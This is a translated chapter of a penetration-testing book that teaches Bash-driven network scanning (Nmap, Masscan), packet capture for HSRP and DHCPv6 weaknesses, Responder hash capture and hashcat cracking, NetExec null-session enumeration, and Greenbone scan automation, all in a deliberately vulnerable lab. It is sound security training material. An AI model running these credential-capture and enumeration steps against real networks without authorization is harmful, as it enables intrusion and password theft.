面向渗透测试者的 Bash 脚本编程(三)
原文:
annas-archive.org/md5/cf34f1eb5597431cf072cd50824c69f9译者:飞龙
第十章:使用 Bash 进行网络和基础设施的渗透测试
本章将探讨如何使用 Bash 进行网络和基础设施的渗透测试。我们将了解 Bash 如何成为探测网络系统、识别漏洞以及模拟攻击场景的强大工具。你将全面了解如何使用 Bash 进行扫描、枚举和漏洞评估,尤其是在内部网络环境中。
在本章中,我们将涵盖以下主要内容:
-
使用 Bash 进行网络渗透测试的基本原理
-
Bash 中的高级网络扫描技术
-
使用 Bash 枚举网络服务和协议
-
使用 Bash 进行基础设施漏洞评估
技术要求
为了跟随本章的内容,至少你需要访问一个 Bash shell。为了执行示范的练习,你需要构建 Active Directory 游戏(GOAD)实验室。你可以在 github.com/Orange-Cyberdefense/GOAD 找到 GOAD。
GOAD 是一个 Active Directory 漏洞利用实验室。如果你不熟悉 Active Directory,它是一个用于管理大量相关 Microsoft Windows 系统的系统。默认的 Windows 和 Active Directory 配置通常存在可被利用的漏洞。在实验室中,除了默认设置之外,还有更多的可利用配置错误。GOAD 实验室中的 Active Directory 漏洞常常出现在内部网络渗透测试中,这使得它成为实践或测试新渗透工具的最佳实验室之一。
我使用 Ludus 来部署我的 GOAD 实验室。我运行一个 Ludus 服务器,在客户端(我的笔记本电脑)上,我使用 Ludus 客户端来自动化构建、启动和停止我的实验环境。Ludus 使得自动化部署复杂网络环境变得容易。我已使用 GOAD 和 Vulhub 模板部署了我的 Ludus 环境,混合了内部网络渗透测试目标以及一些已知的易受攻击的 Web 应用程序。你可以在 docs.ludus.cloud 阅读更多关于 Ludus 的内容。
你应该选择 GOAD 还是 Ludus?GOAD 必须安装在 Linux 系统上,但你可以继续将该 Linux 系统用于其他用途。Ludus 服务器需要将其 裸机 安装在一台计算机上。安装完 Ludus 后,你将无法将该计算机用于除虚拟服务器之外的任何其他用途。如果可以,我建议将一台计算机专门用于运行 Ludus,并从那里部署 GOAD。你在渗透测试生涯中将需要一个实验环境,而 Ludus 使得运行实验环境变得简单。
本章的代码可以在 github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter10 找到。
运行以下命令在 Kali 中安装所需的依赖:
$ sudo apt update && sudo apt install -y tmux netexec nmap masscan tcpdump wordlists hashcat xmlstarlet
安装 Greenbone Community Edition,之前称为 OpenVAS。硬件或虚拟硬件的最低要求如下:
-
CPU:2 核 -
RAM:4 GB -
存储 :20 GB
运行以下命令以安装和配置 Greenbone:
$ sudo apt install -y gvm
$ sudo gvm-setup
在输出中记下管理员帐户密码。设置完成后,运行以下命令以确保一切正常:
$ sudo gvm-check-setup
在输出中,如果一切顺利,你应该看到最后的内容:It seems like your GVM-[version] installation** **is OK.
使用 Bash 进行网络渗透测试的基础
网络渗透测试,或称渗透测试,是网络安全中的一项关键实践。它涉及模拟对网络的攻击,以便在恶意行为者利用漏洞之前识别这些漏洞。各种方法论指导渗透测试员完成这一过程,确保彻底和系统的评估。Bash 脚本,在 Unix/Linux 环境中是一个强大的工具,在自动化和增强这些方法论方面发挥着重要作用。让我们深入探讨网络渗透测试的核心方法,并探索如何有效地利用 Bash 脚本。
网络渗透测试的核心方法
网络渗透测试的核心方法包括以下内容:
-
侦察 :侦察是获取目标网络信息的初始阶段。可以是被动的(例如,查找公开记录)或主动的(例如,扫描网络)。
-
扫描 :在此阶段,渗透测试员使用工具发现活动主机、开放端口和网络上运行的服务。这有助于绘制网络图并识别潜在的入口点。
-
枚举 :枚举涉及从网络中提取更详细的信息,例如用户帐户、计算机名称和网络共享。此阶段基于扫描过程中收集的数据。
-
利用 :在这一阶段,渗透测试员尝试利用已识别的漏洞,获得对系统或数据的未授权访问。此阶段测试现有安全措施的有效性。
-
后期利用 :获得访问权限后,渗透测试员评估入侵的程度,保持访问权限,并收集更多信息。此阶段有助于理解攻击的潜在影响。
-
报告 :最后,渗透测试员将他们的发现汇总成报告,详细列出漏洞、利用的弱点以及修复建议。
我们在第八章中已经讨论了侦察。本章将重点介绍扫描、枚举和利用。后期利用和报告将在后续章节中进行讨论。
渗透测试人员需要能够高度集中注意力,以便有效工作。渗透测试通常是有时间限制的,这意味着在预定的开始和结束日期之间你有有限的时间。掌握 Bash 脚本技能的价值在于它节省的时间。我们希望自动化运行扫描和枚举,这样我们就能节省宝贵的时间,专注于工具输出的细节。这就是 Bash 脚本的价值所在。
在渗透测试过程中,我们需要运行一系列工具。通常,我们必须将一个工具的输出与另一个工具的输入连接起来。这个过程通常涉及到数据转换,正如我们在前几章中看到的那样。
设置渗透测试环境
开始进行网络渗透测试时,我的第一步是创建一个目录结构来存放数据。顶级目录是渗透测试的名称。在这种情况下,我将其命名为bashbook。然后,在bashbook下创建日志、扫描和战利品的目录。
图 10.1 – 网络渗透测试目录结构示例
在顶级目录bashbook下,我将创建两个文件,scope.txt和exclusions.txt。scope.txt文件中列出我被授权测试的 IP 或网络地址。exclusions.txt文件中包括任何被排除的 IP 地址或主机名。这样,如果我的授权范围是网络地址10.2.10.0/24,但10.2.10.13被排除,我可以将该地址放入exclusions.txt文件中,以确保跳过该地址。
logs目录是我将每个在终端运行的命令输出的副本存放的地方。对于终端日志记录,我非常喜欢tee命令。有一些方法可以将所有命令行活动记录到一个文件中,但我个人喜欢将tee命令附加到每个命令后,并保存单独的日志文件。这将输出保存到一个带有日期和时间戳的文件中,文件名也具有意义。如果我的客户报告出现故障并询问我在做什么,我可以查看logs目录中的时间戳并给出回答。此外,这些日志文件在我测试结束后如果发现遗漏了报告中的截图时也非常有用。我可以简单地cat日志文件并截图。这些日志文件还将在我需要解析数据以发现报告中所有受影响主机时使用。要执行命令并查看输出的同时将输出保存到文件中,可以在命令和tee之间使用 Bash 管道符号(|)。
这是一个示例:
$ netexec smb 10.2.10.0/24 -u user -p password --shares | tee logs/netexec-user-shares.log
现在,我有了一个有意义的日志文件名,包含时间戳和我命令的输出,方便稍后进行解析。
提示
如果你运行另一个命令并将其通过管道传递给tee并指定一个现有的文件名,该文件将会被覆盖。要向文件追加内容,使用tee -a [filename]。
使用 tmux 进行持久会话
在我们开始黑客之前,我想向你介绍另一个 shell 实用程序,tmux 。让我们看一下 man tmux 命令的输出:
tmux is a terminal multiplexer: it enables a number of terminals to be created, accessed, and controlled from a single screen. tmux may be detached from a screen and continue running in the background, then later reattached.
tmux 对我们的工作如此重要的原因在于,渗透测试人员经常远程工作,必须连接到远程系统或通过远程系统进行工作。例如,我百分之百远程工作。当我为客户执行内部网络渗透测试时,我不会亲自前往现场。我会将一台小型计算机,如 Intel NUC 或 System76 Meerkat 发送到客户现场。客户将其连接到网络并打开电源。该设备然后使用 Wireguard 协议连接到我团队的 网络非军事区(DMZ)上的堡垒主机。然后我使用带有公钥和私钥的 SSH 安全连接到我的客户内部网络通过我的堡垒主机。
在建立 SSH 会话后,我立即启动或恢复一个 tmux 会话。在运行扫描时,您可能会从远程系统断开连接,或者更糟的是,在利用系统并建立反向 shell 后断开连接。如果您没有 tmux,如果运行一个命令并从 SSH 会话断开连接,所有正在运行的进程都将被终止。
让我们探索如何使用 tmux 。首先,运行 tmux 并启动一个新会话:
$ tmux new -s [session name]
会话名称不是必需的。您也可以通过简单输入 tmux 来启动一个新会话。如果您与他人合作并共享系统,则给会话命名是个好主意。
现在,我们的终端窗口将具有会话名称和左下角的单个默认窗口。当前窗口通过在窗口名称末尾添加星号(*)来表示。
图 10.2 – 显示了一个新的 tmux 会话状态行
tmux 可以通过使用默认的前缀键 Ctrl + b,然后是命令键,从附加的客户端控制。要从 tmux 会话中分离,输入键组合 Ctrl + b,d。这意味着按住 Ctrl 键(macOS 键盘上的 control 键),然后按下并释放 b 键,然后释放 Ctrl 键并按下 d 键。当您重新连接到 SSH 会话时,您可以通过输入 tmux a -t [会话名称] 重新连接到会话。这意味着 tmux 将附加(a)到目标会话(-t),然后是会话名称。
接下来,让我们通过输入 Ctrl + b ,c 来创建一个新窗口。
图 10.3 – 在 tmux 会话中创建一个新窗口
tmux能够根据运行的命令重命名窗口。但是,如果您想手动重命名窗口,请使用Ctrl + b,,(按下Ctrl + b组合键,释放键,然后按*,(逗号)键),然后输入所需的名称和Enter*键。请注意,当前窗口现在被命名为foo:
图 10.4 – 当前窗口已重命名
要在窗口之间切换,请按Ctrl + b + n切换到下一个窗口,或者Ctrl + b + *[窗口号]*切换到特定窗口。tmux还可以将终端分割成多个窗格。要查看默认热键,请在 Bash shell 中输入man tmux。如果尚未安装tmux,可以使用sudo apt update && sudo apt install** **tmux命令进行安装。
现在我们已经设置好了渗透测试系统并熟悉了基本工具,让我们开始扫描吧!
使用 Nmap 进行基本网络扫描
在第六章中,您学习了如何使用 Bash 进行非常基本的端口扫描。这些概念在您处于受限网络环境且无法安装标准扫描工具(如 Nmap)的情况下非常有用。然而,在进行网络渗透测试扫描时,纯 Bash 端口扫描工具不会是我的首选工具。在这里,我们将开始使用 Nmap 和 Masscan。
以下命令是最基本的 Nmap 扫描示例:
$ nmap 10.2.10.0/24
请注意,您的 GOAD 环境中的 IP 地址可能与此处显示的示例不同。
以下图显示了此扫描的部分输出:
图 10.5 – 基本 Nmap TCP 端口扫描的部分输出
请注意,在上图中显示了非常基本的信息。每个端口的输出列出了该端口号的默认服务。由于我们没有使用任何其他扫描标志,Nmap 默认使用连接扫描(-sT),并且没有执行服务指纹识别,并且输出没有保存到文件中。
先前的扫描显示了默认的 TCP 扫描。要扫描 UDP 端口,请使用-sU标志,如下所示:
$ sudo nmap -sU 10.2.10.0/24
UDP 扫描的输出可以在以下图中看到:
图 10.6 – 使用 Nmap 进行基本 UDP 端口扫描的部分输出
我们将在下一节中探讨更高级的用法。
使用 Masscan 进行快速网络扫描
另一个流行的端口扫描工具是 Masscan,这是一个极快的端口扫描工具。它可以在几分钟内扫描整个互联网。
Nmap 比 Masscan 功能更全面;但是,通过包括 --rate 选项,Masscan 可以执行更快的扫描。是的,Nmap 也可以调整扫描速度;但是,Masscan 可能更快。请注意此选项,因为可能会压垮路由器和交换机等网络设备。在进行渗透测试开始前,与项目利益相关者进行 启动会议 时,应询问是否将扫描过时的网络设备,这些设备可能无法承受高吞吐量。
在以下图中可以找到基本的 Masscan 示例:
图 10.7 – 示例 Masscan 扫描的部分输出
在非常大的网络上,我经常使用 Masscan 发现活动主机的列表,然后将其提供给另一个更高级的扫描。以下是我用来发现活动主机的 masscan 命令:
$ sudo masscan -p 22,445 --open -oL [outputfile] -iL [inputfile] --rate=5000
让我们分解开来以理解它:
-
-p 22,445:在内部网络上,每个 Linux 主机将会暴露端口22(SSH),每个 Windows 主机将会暴露端口445(SMB)。 -
--open:我们指定open,因为我们不想看到关闭或筛选的端口。 -
-oL [outputfile]:我们指定保存结果的文件名以列表格式。其他可能的输出格式包括 JSON、NDJSON、Grepable、Binary、XML 和 Unicorn。 -
-iL [inputfile]:我们指定包含在范围内网络的scope.txt文件。 -
--rate=5000:这以每秒 5,000 个包的速率发送 TCP SYN 包。
在我运行 GOAD 和 Vulhub 的实验室网络上,我的扫描输出如下图所示:
图 10.8 – Masscan 主机发现输出文件内容
使用 Bash 处理扫描结果
要仅显示活动主机,请输入以下命令:
$ awk '$1 == "open" { print $4 }' masscan.lst | sort -uV > livehosts.txt
这里是解释:
-
':单引号字符开始并结束awk命令块。 -
$1 == "open":第一列是单词open,如在 图 10.8 中所见。从 第四章 中记得,awk默认在空白字符(包括空格和制表符)上分隔列。如果列用制表符分隔,该命令仍然有效。否则,包括-F选项指定不同的字段分隔符。 -
{ print $4 }:打印第四列。 -
masscan.lst:我们希望使用该命令解析的 Masscan 输出文件。 -
| sort -uV:我们将awk命令的输出导管到排序,指定排序选项为唯一(-u)和版本(-V)。 -
> livehosts.txt:我们将前述命令的输出从stdout重定向到文件。
小贴士
sort -V(版本)选项对于排序 IP 地址和版本号很有用。
如果将输出移除到文件并打印到 stdout,输出如下所示:
图 10.9 – 我们唯一的已排序活跃 IP 地址列表
将图 10.8(未排序)与图 10.9(已排序)中的输出进行比较,你可以看到sort -V选项对于排序版本号、IP 地址或任何由数字组成并以点分隔的字符串是非常有用的。
现在,你已经有了一个活跃主机的列表,这在扫描非常大的网络时节省了宝贵的时间。
结论
这部分内容总结了 Bash 网络渗透测试的基础知识。通过本节的基本概念,加上我们在第六章中讨论的网络和基础端口扫描内容,下一节将学习更高级的扫描技术。
Bash 中的高级网络扫描技术
本节将更深入地讲解,演示一些 Nmap 的最常用高级选项。然后,我们将继续讲解如何解析报告输出。
这是我在网络渗透测试中最常使用的 Nmap 扫描命令:
$ sudo nmap -sS -sV -sC -p 21,22,23,25,53,80,81,88,110,111,123,137-139,161,389,443,445,500,512,513,548,623-624,1099,1241,1433-1434,1521,2049,2483-2484,3268,3269,3306,3389,4333,4786,4848,5432,5800,5900,5901,5985,5986,6000,6001,7001,8000,8080,8181,8443,10000,16992-16993,27017,32764 --open -oA [output file] -iL [input file] --exclude-file [exclude file]
下面是解释:
-
-sS:SYN 扫描,或半开放扫描。这仅发送 TCP 握手的第一部分,扫描速度比默认的连接扫描(-sT)要快,后者完成了 TCP 三次握手。 -
-sV:版本扫描会指纹识别服务名称和版本,而不是默认的,仅打印与端口号关联的默认服务名称。 -
-sC:对所有开放端口运行 Nmap 脚本。这些脚本的输出通常会揭示出重要的信息,甚至是可利用的信息。 -
-p [端口列表] :要扫描的端口列表。这些是我根据经验发现最常见的可利用端口。如果你正在扫描单个主机或少量主机,或者你绝对需要找到所有开放端口,可以使用
-p-,这是表示所有端口的简写。 -
--open:只记录开放端口;不显示输出中的关闭或过滤端口。 -
-oA [输出文件] :
A选项代表所有格式。如果你将输出文件命名为nmapquick,扫描完成后你会在当前目录下找到以下三个输出文件:nmapquick.nmap,nmapquick.gnmap,和nmapquick.xml。 -
-iL [输入文件] :包含要扫描的 IP 地址、网络地址或主机名的文件。
-
--exclude-file [排除文件] :包含要从扫描中排除的 IP 地址、网络地址或主机名的文件。请参见你的渗透测试的参与规则文档,查找任何需要排除的主机列表。
在扫描输出中,我们查看以下图中的一台主机:
图 10.10 – 我们对单个主机的扫描结果
Nmap 脚本输出可以通过虚线和它们包含的输出在图中看到。这显示了主机名和服务版本。此外,我们可以猜测这是一个活动目录域控制器,因为它运行 Microsoft Windows,并且端口53、88、3268和3269是开放的。
扫描可能是快速和彻底之间的权衡。例如,在我们上次运行的扫描中,指定了有限数量的常见端口,对主机10.2.10.1的输出显示了一个开放端口,如下图所示:
图 10.11 – 使用有限数量的常见端口进行 Nmap 扫描输出
如果我们使用-p-(所有端口)选项重新扫描此主机,我们会发现该主机实际上有七个开放端口,其中一些运行着易受攻击的应用程序。此示例说明了快速和彻底扫描之间的区别。在测试小型网络时,我通常会扫描所有端口。如果我要测试一个大型网络,我会运行一个快速扫描,指定一定数量的端口,并在处理扫描结果时,我会启动针对所有端口的第二次扫描,预计需要一天或更长的时间才能完成。
现在您已经对不同的端口扫描技术有了牢固的掌握,让我们继续下一节,探索各种可利用的网络协议。
使用 Bash 枚举网络服务和协议
我在每次网络内扫描测试中都执行网络数据包捕获。我寻找默认的热备用路由器协议(HSRP)默认密码'cisco',没有相应提供的 DHCPv6 发现广播,以及广播或多播协议,如 LLMNR、NBT-NS 和 MDNS,这些协议可以生成密码哈希或被中继到其他系统进行破解。
下面的代码可以在本章的 GitHub 页面上找到,命名为packetcap.sh:
#!/usr/bin/env bash
if [ "$#" -ne 1 ]; then
echo "You must specify a network adapter as an argument." echo "Usage: $0 [network adapter]"
exit 1
fi
第一个代码块是熟悉的 shebang,后面是一个if语句,如果没有提供正好一个参数,就会打印使用信息并退出。
echo "[+] Please wait; capturing network traffic on $1 for 2.5 minutes." sudo timeout 150 tcpdump -i "$1" -s0 -w packetcapture.pcap
此代码块让用户在运行 tcpdump 两分半钟之前知道发生了什么。在sudo之后,tcpdump之前的timeout 150命令运行tcpdump 150 秒然后退出。
echo "[+] Testing for default HSRP password 'cisco'..." tcpdump -XX -r packetcapture.pcap 'udp port 1985 or udp port 2029' | grep -B4 cisco
此代码块检测使用默认'cisco'密码的明文 HSRP 广播。如果您知道此密码,您可以操纵 HSRP 选举过程并接管默认路由器,并对所有流量执行中间人攻击(MITM)。
提示
如果在网络中检测到使用默认的 HSRP 密码,我建议您不要尝试对其执行 MITM 攻击。如果您不在现场与运行攻击的系统一起并且失去了网络连接,您可能会导致网络拒绝服务,而您也不在那里停止它。这是非常危险的利用。最好是报告并继续前进。
在下一个代码块中,我们开始测试 IP 第六版(IPv6) 网络流量:
echo "[+] Testing for DHCPv6." echo "[+] If detected, try mitm6!" tcpdump -r packetcapture.pcap '(udp port 546 or 547) or icmp6'
sudo rm packetcapture.pcap
这一代码块测试 DHCPv6 流量。如果你看到没有响应的 DHCPv6 discover 广播,网络很可能会受到攻击,可以运行 mitm6 工具并捕获密码哈希。
echo "[+] Please wait; running Responder for 5 minutes." echo "[+] If hashes are captured, crack them or run Responder again with impacket-ntlmrelayx to relay." responder=$(sudo timeout 300 responder -I "$1")
cat /usr/share/responder/logs/Responder-Session.log
这一代码块在子 Shell 中运行 Responder 工具,这样你就看不到输出。然后,它会打印 Responder-Session 日志中的任何内容。你可能会在输出中看到密码哈希或明文密码。
下图展示了脚本执行的过程。这里显示了脚本输出的开始:
图 10.12 – 启动网络嗅探脚本
在输出的后面,你会看到密码哈希打印到屏幕上。这是一个 NTLMv2 密码哈希,你应该尝试使用 hashcat 破解它。你也可以重新配置 Responder,然后重新运行它,并与 impacket-ntlmrelayx 一起中继到其他系统,以运行命令或转储凭据。
图 10.13 – Responder 捕获密码哈希
接下来,让我们尝试使用 hashcat 破解它们。在运行以下命令之前,先将这些哈希复制并保存到一个文件中。然后,按以下命令运行 hashcat:
$ sudo hashcat -m 5700 hashes.txt /usr/share/wordlists/rockyou.txt.gz
下图显示了我们破解了其中一个密码哈希!
图 10.14 – 使用 Hashcat 破解 NTLMv2 密码哈希
提示
你不仅仅局限于破解这些协议中的密码哈希;你还可以中继它们。搜索互联网了解更多关于 relay LLMNR 的信息。
不要忽视你网络中的这些协议。虽然它们不是可以直接指向漏洞并获得 Shell 的监听服务,但它们是 危险的默认 协议,通常可以在任何 Windows 域中广播,并且通常是攻击系统的最快方式。
在下一节中,我们将探索如何使用 Bash 与漏洞评估和利用工具。
使用 Bash 进行基础设施漏洞评估
评估基础设施漏洞是保持网络安全的关键步骤。通过 Bash,我们可以利用强大的工具来自动化网络主机发现和漏洞扫描,简化评估过程。本节介绍了两种重要技术:使用 NetExec 识别网络主机和使用 Greenbone 自动化漏洞扫描。每种技术都提供了一种务实的方式,通过减少人工操作、提高效率和准确性,改善你的安全态势。
使用 NetExec 枚举网络主机
从未验证的角度出发,我们将检查 TCP 端口 445,因为它历来存在许多漏洞,并且可能提供大量信息。我们将使用 NetExec 工具来枚举网络主机。
首先,让我们尝试使用 SMB 空会话枚举 SMB 共享。运行以下命令,将网络地址替换为您实验室实例的适当地址:
$ netexec smb 10.2.10.0/24 -u a -p '' --shares
这是解释:
-
netexec smb: 在这里,我们指定 NetExec 要使用的协议。netexec命令支持多种协议,包括 SMB。 -
10.2.10.0/24: 目标位于netexec和协议后面。目标可以是 IP 地址、主机名、网络地址,或者包含目标的文件(每行一个目标)。 -
-u a -p '': 我们指定了一个随机用户名(a),后跟一个空密码('')。 -
--shares: 这是一个netexec命令,用于枚举 SMB 共享。
以下图显示了输出:
图 10.15 – 使用 NetExec 执行 SMB 空会话 SMB 共享枚举。
请注意,这是一个裁剪过的截图,并未显示每个系统的主机名或 IP 地址。如果不裁剪图片,文本会变得太小,难以阅读。请注意我们在前面的图中显示的读写权限。在这种情况下,我建议您花时间连接到这些 SMB 共享并寻找有趣的信息,例如文件中的密码。
接下来,让我们尝试使用 SMB 空会话枚举用户。运行以下命令:
$ netexec smb 10.2.10.0/24 -u a -p '' --users
这个命令与之前的命令唯一的区别在于,我们将共享(--shares)改为用户(--users)。我们检查输出并发现我们在枚举用户时没有成功。在放弃之前,让我们按以下方式修改命令并再次尝试:
$ netexec smb 10.2.10.0/24 -u '' -p '' --users
在这里,除了指定用户名,我们使用了一个空的用户名。
图 10.16 – 使用 SMB 空会话列出域用户
那么为什么指定一个无效用户名的某种方法失败了,而另一个成功了呢?不深入探讨我们 Bash 主题的前提下,这是因为该工具所使用的库如何验证 Microsoft Windows SMB 共享。这个问题留给你作为练习。我只是希望你注意到这个怪癖。
使用这些用户名,您可以使用 NetExec 执行密码喷射攻击,尝试常见密码,或许能幸运地猜中。但是,您真的需要进行密码喷射吗?去再看看 图 10.16,检查 描述 列。你看到 Samwell Tarly 的密码了吗?你会惊讶地发现,普通企业网络中这种情况发生得多么频繁!许多系统管理员没有意识到,空会话和无权限用户可以看到这些信息。让我们测试这个密码,正如下图所示:
图 10.17 – 使用 NetExec 测试凭证
在前面的图中,我们看到 Samwell Tarly 的凭证已通过身份验证连接到三个系统,但该账户在任何系统上都不是管理员,否则输出将显示Pwn3d!。我们可以对这些凭证做更多的事情。我将留给你一个练习,使用netexec命令配合--help和-L(列出模块)选项来探索可用的命令和模块。
提示
如果你在自己的 GOAD 实验室中进行操作,查看一下petitpotam SMB 模块。
接下来,我们将深入探讨如何从 Bash shell 进行漏洞扫描。
使用 Greenbone 自动化漏洞扫描
市场上有许多顶级的漏洞扫描产品,所有这些产品都有一个 Web 界面。然而,你应该学习如何从 Bash shell 自动化这些扫描,以节省宝贵的时间。当我负责全球公司企业漏洞扫描时,我使用 Bash shell 与扫描器 API 进行交互,尽可能地自动化我的工作,包括收集统计数据以生成自定义报告。
我们将使用 Greenbone Community Edition,前身为 OpenVAS。如果你想在自己的实验室中跟随操作,你应该首先查看技术要求部分,如果你还没有安装 Greenbone 的话。
创建扫描目标,如图所示,将密码和网络替换为你自己的值:
$ sudo -u _gvm gvm-cli --gmp-username admin --gmp-password [password] socket --xml "<create_target><name>My Target</name><hosts>10.2.10.0/24</hosts><port_range>1-65535</port_range></create_target>"
该命令的输出可以在下图中找到:
图 10.18 – 在 GVM 中创建扫描目标
从创建目标时复制目标 ID 输出,创建一个用于快速完整扫描的任务,如下所示:
$ sudo -u _gvm gvm-cli --gmp-username admin --gmp-password [password] socket --xml "<create_task><name>My Task</name><comment>Scanning 10.2.10.0/24</comment><config id='daba56c8-73ec-11df-a475-002264764cea'/><target id=29590015-db97-4d3e-8aab-694abb3b1c4c/></create_task>"
该命令的输出可以在下图中找到:
图 10.19 – 在 GVM 中创建一个扫描任务进行演示
使用前一个命令响应中的任务 ID 启动任务:
$ sudo -u _gvm gvm-cli --gmp-username admin --gmp-password [password] socket --xml "<start_task task_id=abc324d4-7464-4415-8a77-de8dfa13606b'/>"
该命令的输出可以在下图中找到:
图 10.20 – 在 GVM 中启动任务
使用如下命令检查任务状态:
$ sudo -u _gvm gvm-cli --gmp-username admin --gmp-password [password] socket --xml "<get_tasks task_id=7f6996b2-bdf5-49e8-8bb0-699cad0778ec'/>" | xmllint --format -
该命令的输出可以在下图中找到:
图 10.21 – 演示检查扫描任务状态
使用前一个命令输出中的报告 ID 下载报告,如下所示:
$ sudo -u _gvm gvm-cli --gmp-username admin --gmp-password [password] socket --xml "<get_reports report_id='7c39338b-8c15-4e3a-93ff-bca125ff2ddf' format_id='c402cc3e-b531-11e1-9163-406186ea4fc5'/>" > scan_result.xml
接下来,让我们创建一个脚本来自动化这个过程并解析报告。以下代码可以在本章的 GitHub 仓库中找到,名为ch10_gvm_scan.sh:
#!/usr/bin/env bash
# User and argument validation
if [ "$(whoami)" != "_gvm" ]; then
echo "This script must be run as user _gvm." exit 1
fi
上面的代码块以熟悉的 shebang 行开始。接下来,它检查运行脚本的用户是否是_gvm用户,这是在gvm安装过程中创建的用户。如果不是以该用户身份运行,脚本将退出。
if [ $# -lt 2 ]; then
echo "Usage: $0 <password> <target_host>"
exit 1
fi
如果参数少于两个,脚本会退出。
password="$1"
target_host="$2"
在前面的代码中,我们将第一个参数赋值给password变量,将第二个参数赋值给target_host变量。
# Generate target name
target_name=$(echo -n "$target_host" | sed 's/\//_/g')
在这里,我们仅仅是将目标中的任何/字符替换为下划线。
# Create target
echo "[+] Creating target"
target_id=$(gvm-cli --gmp-username admin --gmp-password "$password" socket --xml "<create_target><name>$target_name</name><hosts>$target_host</hosts><port_range>1-65535</port_range></create_target>" | grep -o 'id="[^"]*"' | sed -e 's/id="//' -e 's/"//')
if [ -z "$target_id" ]; then
echo "[-] Failed to create target"
exit 1
fi
上述代码块在 GVM 系统中创建一个目标:
-
它使用
gvm-cli发送 XML 请求来创建目标。 -
目标通过指定的名称、主机和端口范围创建。
-
它从响应中提取目标 ID。
-
如果目标创建失败(
target_id为空),脚本会退出。
以下代码将创建一个扫描任务:
# Create task
echo "[+] Creating task"
task_id=$(gvm-cli --gmp-username admin --gmp-password "$password" socket --xml "<create_task><name>Task_$target_name</name><comment>Scanning $target_host</comment><config id='daba56c8-73ec-11df-a475-002264764cea'/><target id='$target_id'/></create_task>" | grep -o 'id="[^"]*"' | sed -e 's/id="//' -e 's/"//')
if [ -z "$task_id" ]; then
echo "[-] Failed to create task"
exit 1
fi
本部分在 GVM 系统中创建一个任务:
-
它使用
gvm-cli发送 XML 请求来创建任务。 -
任务创建时会包含名称、评论、配置以及之前创建的目标。
-
它从响应中提取任务 ID。
-
grep -o 'id="[^"]*"'命令会在输入文本中搜索所有出现的pattern id="[^"]*",并仅输出匹配的部分:id="匹配字面字符串,id="。
-
[^"]*匹配零个或多个不是双引号(")的字符。[^"]是一个否定字符类,意味着任何字符都可以是除"之外的字符。"匹配关闭双引号。
-
如果任务创建失败(
task_id为空),脚本会退出。
接下来,我们需要开始扫描,如下所示:
# Start task and wait for completion
echo "[+] Starting task"
report_id=$(gvm-cli --gmp-username admin --gmp-password "$password" socket --xml "<start_task task_id='$task_id'/>" | grep -oP '(?<=<report_id>).*?(?=</report_id>)')
上述代码使用从之前的命令中捕获的变量启动扫描任务,并从响应中提取report_id:
-
(?<=<report_id>).*?(?=</report_id>): 这是使用的正则表达式。 -
(?<=<report_id>): 这是一个正向回溯断言。 -
(?<=...): 该语法指定了一个向后查找,确保当前位置之前的内容是指定的模式,<report_id>。 -
<report_id>: 这是必须在匹配之前出现的字面字符串。 -
.*?: 这是一个非贪婪匹配,匹配任何字符序列。 -
.: 这匹配除换行符外的任何字符。 -
*?: 这匹配零个或多个前面的元素(此处是**.**),但以非贪婪(或懒惰)的方式进行匹配,即它将尽可能少地匹配字符。 -
(?=</report_id>): 这是一个正向预查断言。 -
(?=...): 该语法指定了一个向前查找,确保当前位置后面的内容是指定的模式,</report_id>。 -
</report_id>: 这是必须紧随匹配后的字面字符串。
下一个代码部分每隔 60 秒检查一次任务是否完成:
# Wait for task to complete
echo "[-] Waiting for scan result. This may take a while." while true; do
output=$(gvm-cli --gmp-username admin --gmp-password "$password" socket --xml "<get_tasks task_id='$task_id'/>" 2>/dev/null | xmllint --format -)
if echo "$output" | grep -q '<status>Done</status>'; then
break
fi
sleep 60
done
echo "[+] The scan is complete."
上述代码开始了一个while循环。gvm-cli命令的输出通过管道传输给xmlstarlet逐行打印,并保存到output变量中。如果输出状态确认已完成,则退出循环。否则,程序会暂停一分钟后重新开始循环。
# Create report
echo "[+] Printing scan results..." gvm-cli --gmp-username admin --gmp-password "$password" socket --xml "<get_results task_id=\"$task_id\" filter='notes=1 overrides=1'/>" |\
xmlstarlet sel -t -m "//result" \
-v "host" -o "|" \
-v "host/hostname" -o "|" \
-v "port" -o "|" \
-v "threat" -o "|" \
-v "name" -o "|" \
-v "severity" -n |
sort -t'|' -k6,6nr |
awk -F'|' '{printf "%s\t%s\t%s\t%s\t%s\n", $1, $2, $3, $4, $5}'
前面的代码块请求扫描任务中检测到的扫描结果(漏洞)。它将输出通过管道传递给xmlstarlet,以解析 XML 内容并输出最感兴趣的部分。最后,它根据第六列(severity)进行排序,并使用制表符(\t)分隔符打印数据字段:
-
xmlstarlet是一个命令行工具,用于解析、查询、转换和编辑 XML 文件。它可以用来从 XML 文档中提取特定数据,修改 XML 结构,并执行各种与 XML 相关的任务。 -
sel -t:这是select的缩写。它表示我们正在使用选择子命令来查询 XML 数据。-t表示template。它用于定义输出模板。 -
-m "//result":这代表match。它指定一个 XPath 表达式,用于从 XML 文档中选择节点。 -
//result:这个 XPath 表达式选择 XML 文档中所有的 result 元素,无论它们在层次结构中的位置如何。 -
sort -t'|' -k6,6nr:-k选项指定要排序的关键字(字段),而nr后缀表示排序类型(数字排序并按逆序排列)。 -
-k6,6:此选项告诉sort使用第六个字段作为排序的关键字。6,6语法意味着它应从第六个字段开始并在第六个字段结束进行排序。 -
awk -F'|' '{printf "%s\t%s\t%s\t%s\t%s\n", $1, $2, $3, $4, $5}':这段代码确定了数据的打印方式:-
-F:此选项告诉awk使用特定字符作为字段分隔符。 -
'|':管道符号被指定为分隔符。这意味着awk将把管道符号之间的文本视为独立的字段。 -
{ ... }:包围要对每一行输入执行的操作。 -
printf:awk(以及许多编程语言)中的一个函数,用于格式化输出。 -
"%s\t%s\t%s\t%s\t%s\n":这个格式字符串告诉printf输出五个字符串字段(%s),每个字段后跟一个制表符(\t),并以换行符(\n)结束这一行。 -
$1, $2, $3, $4, $5:这些是awk中的字段变量。$1表示第一个字段,$2表示第二个字段,以此类推。由于字段分隔符是管道符(|),这些变量对应于管道符之间的数据。
-
脚本必须以_gvm用户身份运行。当我们在脚本中为每个命令加上sudo前缀时,由于某些步骤之间有足够的时间,系统会在你离开时提示你输入凭证,而你可能没有意识到它在等待你的输入。相反,我们将脚本前缀加上sudo -u _gvm,因此在运行脚本之前,你需要执行以下命令来设置目录和文件权限:
$ mkdir ~/shared_scripts
$ cp ch10_gvm_scan.sh ~/shared_scripts
$ sudo chmod 775 /home/kali/shared_scripts
